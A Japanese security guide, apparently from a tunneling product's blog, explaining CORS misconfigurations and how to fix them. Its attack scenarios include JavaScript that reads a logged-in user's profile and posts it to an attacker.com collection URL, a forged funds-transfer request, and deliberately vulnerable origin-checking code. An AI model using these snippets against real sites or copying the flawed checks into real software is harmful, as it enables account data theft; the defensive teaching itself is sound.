CORSの誤解:誤設定されたヘッダーがセキュリティに穴を開ける方法

Cross-Origin Resource Sharing (CORS) は、開発者が慌てて実装しがちな技術の一つです。Stack Overflowから設定をコピペして、面倒なブラウザエラーを一時的に回避しようとすることもあります。でも、もしあなたの安易な修正—見た目は何でもないAccess-Control-Allow-Origin: *ヘッダー—が、静かにあなたのセキュリティアーキテクチャ全体を崩しているとしたら?
この包括的なガイドでは、CORSの誤設定について深掘りし、それがどのようにブラウザのSame-Origin Policyを完全に回避できるのかを探ります。そして、APIを悪意ある攻撃者にとって開放的なバイキングにしないよう、正しいCORSの実装方法を学びましょう。
基礎理解:CORSとは何か、なぜ存在するのか?
セキュリティの落とし穴を探る前に、しっかりとした土台を築きましょう。CORSは、サーバーがどのオリジン(ドメイン)からのアクセスを許可するかを明示的に指定できるブラウザのセキュリティメカニズムです。これは、ウェブの基本的なセキュリティ機能の一つであるSame-Origin Policy(SOP)の上に構築されています。
SOPは、あるオリジン上で動作するスクリプトが、別のオリジンのデータにアクセスすることを防ぎます。オリジンは、プロトコル(http/https)、ドメイン(example.com)、ポート番号(80、443など)の組み合わせで定義されます。SOPがなければ、悪意のあるウェブサイトがあなたの銀行APIに対して認証済みリクエストを送り、セッションCookieを盗み出すことも可能です。
CORSは、正当なクロスオリジン通信が必要な場合に、これらの制限を緩和するためのコントロールされた方法を提供します。ブラウザがクロスオリジンリクエストを行うとき、Originヘッダーを含めます。サーバーは、それに対してCORSヘッダーを返し、リクエストを許可するかどうかをブラウザに伝えます。
CORSリクエストの構造
CORSリクエストには、シンプルリクエストとプリフライトリクエストの2種類があります。
シンプルリクエストは直接送信され、以下を含みます: - GET、HEAD、またはPOSTメソッド - 特定のヘッダー(Accept、Accept-Language、Content-Language、Content-Type(特定の値のみ)) - Content-Typeがapplication/x-www-form-urlencoded、multipart/form-data、またはtext/plain
プリフライトリクエストはより複雑です。ブラウザは最初にOPTIONSリクエストを送信し、実際のリクエストが安全かどうかを確認します。これは以下の場合に行われます: - PUT、DELETE、PATCHなどのメソッドを使用する場合 - カスタムヘッダーを含める場合 - シンプルリクエストで許可されていないContent-Typeを使用する場合
サーバーはプリフライトに対し、許可されている内容を示すヘッダーで応答します:
- Access-Control-Allow-Origin: アクセスを許可するオリジン
- Access-Control-Allow-Methods: 許可されているHTTPメソッド
- Access-Control-Allow-Headers: 許可されているカスタムヘッダー
- Access-Control-Allow-Credentials: 認証情報(クッキーや認証ヘッダー)を含めることができるかどうか
危険な組み合わせ:ワイルドカードのオリジンと認証情報
ここが危険なポイントです。多くの開発者はCORSエラーに直面し、次のようなシンプルな解決策を実装します:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
しかし、これはCORS仕様で禁止されている組み合わせです。ブラウザは、ワイルドカードのオリジンとAccess-Control-Allow-Credentials: trueを同時に含むレスポンスを拒否します。これはセキュリティ上の意図的な措置です。
それにもかかわらず、善意でありながら誤った実装例として、動的にオリジンを反映させる方法があります。サーバーがリクエストのオリジンを反射する例は次の通りです:
# 危険なコード - 使用しないでください
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
この設定は、すべてのオリジンを認めているのと同じであり、Same-Origin Policyの保護を根底から崩します。
実例:攻撃シナリオ
これらの誤設定を悪用した攻撃例を見てみましょう。
シナリオ1:認証済みデータの漏洩
api.yourcompany.comに対し、任意のオリジンを反映し、認証情報も許可する緩いCORSポリシーを持つAPIを構築したとします。エンドポイント/api/user/profileは、機密のユーザ情報を返します。
攻撃者はevil.comに悪意のあるJavaScriptを仕込みます:
fetch('https://api.yourcompany.com/api/user/profile', {
method: 'GET',
credentials: 'include' // Cookieを含める
})
.then(response => response.json())
.then(data => {
// 盗んだデータを攻撃者のサーバーに送信
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
正規のユーザがログイン状態でevil.comを訪れると、次のような流れになります:
- 被害者のブラウザがAPIにリクエスト
- 自動的に認証Cookieを送信
- サーバーは
Origin: https://evil.comヘッダーを受け取る - 誤ったCORS設定がこのオリジンを反映
Access-Control-Allow-Credentials: trueを設定- ブラウザは悪意のスクリプトにレスポンスを読ませる
- 攻撃者はユーザーデータを盗み出す
被害者は自分のデータが盗まれたことに気づきません。この攻撃は静かに、見えないまま、破壊的に進行します。
シナリオ2:状態変更操作
CORSの誤設定は、データの読み取りだけでなく、ユーザに代わって操作を行うことも可能にします。例として/api/transfer-fundsエンドポイントを考えましょう:
fetch('https://banking-api.example.com/api/transfer-funds', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
recipient: 'attacker-account',
amount: 10000
})
})
緩いCORSポリシーが設定されていると、攻撃者は認証済みの操作をユーザの資格情報を使って実行できます。従来のCSRF対策(CSRFトークンなど)では防ぎきれないため、より危険です。
よくある誤設定パターン
明らかなワイルドカードの問題以外にも、微妙な誤設定がセキュリティリスクを生むことがあります。
パターン1:正規表現によるバイパス
ドメインのホワイトリストに正規表現を使おうとする例です:
# 脆弱なコード
import re
allowed_pattern = r'^https://.*\.yourcompany\.com$'
origin = request.headers.get('Origin')
if re.match(allowed_pattern, origin):
response.headers['Access-Control-Allow-Origin'] = origin
攻撃者はyourcompany.com.evil.comのようなドメインを登録し、この正規表現のチェックを回避できます。パターンが適切にアンカーされていないためです。
パターン2:nullオリジンの許可
nullオリジンを許可する設定もあります。これは一見安全そうですが、悪用されることがあります:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
攻撃者はサンドボックスiframeやリダイレクトチェーンを使ってnullオリジンのリクエストを生成し、オリジンチェックを回避します。
パターン3:サブドメインを盲目的に信頼
すべてのサブドメインを自動的に信頼するのも危険です:
# リスクの高いコード
origin = request.headers.get('Origin')
if origin.endswith('.yourcompany.com'):
response.headers['Access-Control-Allow-Origin'] = origin
攻撃者がXSS脆弱性を見つけた場合、サブドメイン(ステージングやユーザ生成コンテンツも含む)を悪用してメインAPIを攻撃できます。
影響:データ盗難以上のもの
CORSの誤設定は、実際の攻撃例も多く、深刻な結果をもたらしています。最近のセキュリティアドバイザリでは、さまざまなアプリやフレームワークにおいて、弱いCORS設定が未認証アクセスを許している例が指摘されています。
影響は以下の通りです:
- データ漏洩:機密情報や個人データ、ビジネス秘密が流出
- アカウント乗っ取り:攻撃者が認証トークンやセッション情報を取得
- 不正な取引:金融アプリケーションのリスク増大
- コンプライアンス違反:GDPRやHIPAAなどの規制違反
- 評判の低下:セキュリティ侵害による信頼失墜
最近のCVE報告や、Flask-CORSなどのフレームワークの脆弱性も示す通り、人気のライブラリでもCORSに関するセキュリティ問題は存在し、修正が必要です。
CORS設定のセキュリティ強化:ベストプラクティス
リスクを理解した上で、安全なCORSの実装方法を見ていきましょう。
1. 明示的なホワイトリストを維持
ワイルドカードや動的反映は避け、厳格なホワイトリストを作成します:
ALLOWED_ORIGINS = [
'https://www.yourcompany.com',
'https://app.yourcompany.com',
'https://mobile.yourcompany.com'
]
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
else:
# 許可されていないオリジンにはCORSヘッダーを設定しない
pass
2. 完全一致の文字列マッチを使用
正規表現は必要最低限に。使う場合は慎重に:
import re
# 良い例:正確なドメイン一致
allowed_pattern = r'^https://([a-z0-9-]+\.)?yourcompany\.com$'
# パターンが正しくアンカーされていることを確認
origin = request.headers.get('Origin')
if re.fullmatch(allowed_pattern, origin): # fullmatchを使用
response.headers['Access-Control-Allow-Origin'] = origin
3. パブリックAPIとプライベートAPIを分離
公開リソースと認証が必要なリソースを分けて管理します:
- パブリックAPI:
public-api.yourcompany.com—Access-Control-Allow-Origin: *を使用可能 - プライベートAPI:
api.yourcompany.com— 厳格なホワイトリストと資格情報を使用
4. 適切な認証を実装
CORSだけに頼らず、堅牢な認証と認可を行います:
- 短期間のトークンを使用し、長期セッションCookieは避ける
- 状態変更操作にはCSRF対策を実施
- すべてのリクエストをサーバー側で検証・認可
- JWTトークンと適切なクレームを利用
5. 定期的なCORS設定の監査
セキュリティは一度設定すれば終わりではありません。定期的な監査を行いましょう:
- 許可されたオリジンの見直し
- 使われていないドメインの削除
- セキュリティスキャンツールを使った設定のテスト
- 不審なクロスオリジンリクエストの監視
- フレームワークやライブラリの最新版へのアップデート
6. セキュリティヘッダーと併用
CORSは、多層防御の一部として機能させるのが効果的です:
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
CORS設定のテスト
本番環境にデプロイする前に、徹底的にテストしましょう:
手動テスト
ブラウザの開発者ツールやcurlを使用します:
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Content-Type" \
-X OPTIONS \
https://api.yourcompany.com/api/user/profile
レスポンスヘッダーを確認し、許可されていないオリジンにはAccess-Control-Allow-Originが設定されていないことを確認してください。
自動化テスト
セキュリティテストツールを使えば、CORSの誤設定を検出できます。バグバウンティ調査でも、2025年までにCORSの脆弱性が報告された例もあり、早期発見が重要です。
バグバウンティプログラムの活用
CORSの誤設定は、バグバウンティを通じて頻繁に発見されます。責任ある情報開示プログラムを設け、問題を早期に特定しましょう。
フレームワーク別の設定例
異なるフレームワークはCORSの扱いも異なります。以下は代表的な例です:
Express.js (Node.js):
const cors = require('cors');
const corsOptions = {
origin: ['https://www.yourcompany.com', 'https://app.yourcompany.com'],
credentials: true,
optionsSuccessStatus: 200
};
app.use(cors(corsOptions));
Django (Python):
CORS_ALLOWED_ORIGINS = [
"https://www.yourcompany.com",
"https://app.yourcompany.com",
]
CORS_ALLOW_CREDENTIALS = True
Spring Boot (Java):
@Configuration
public class CorsConfig {
@Bean
public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurer() {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://www.yourcompany.com")
.allowCredentials(true);
}
};
}
}
今後の展望:セキュリティは設計段階から
CORSの誤設定は、便利さと複雑さ、そして結果のトリプルパンチです。”ただ動かすだけ”のプレッシャーから、開発者は過度に許容的なポリシーを無意識に採用しがちです。
重要なポイントは以下の通りです:
- 動的にオリジンを反映させる場合は、明示的なホワイトリストと厳格な検証を行うこと
- CORSはセキュリティの機能ではなく、ブラウザのデフォルトセキュリティポリシーの緩和であることを理解する
- 多層防御を実現する:CORSは一つの層に過ぎません。適切な認証・認可やセキュリティヘッダーと併用しましょう
- 定期的に監査とテストを行うこと
- 新たな脆弱性やベストプラクティスに常に注意を払うこと
CORSの誤設定は、現代のアプリケーションでも依然として発見・悪用されています。基礎的な仕組みを理解し、安全な実装を徹底すれば、クロスオリジン通信を安全に活用できます。
覚えておいてください:セキュリティにおいて、便利さはしばしば安全の敵です。適切なホワイトリストを実装するための少しの手間は、ユーザーデータと攻撃者の間の壁となります。CORSの誤解によるセキュリティの穴を開けないよう、慎重に設定し、徹底的にテストし、常に監視しましょう。
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.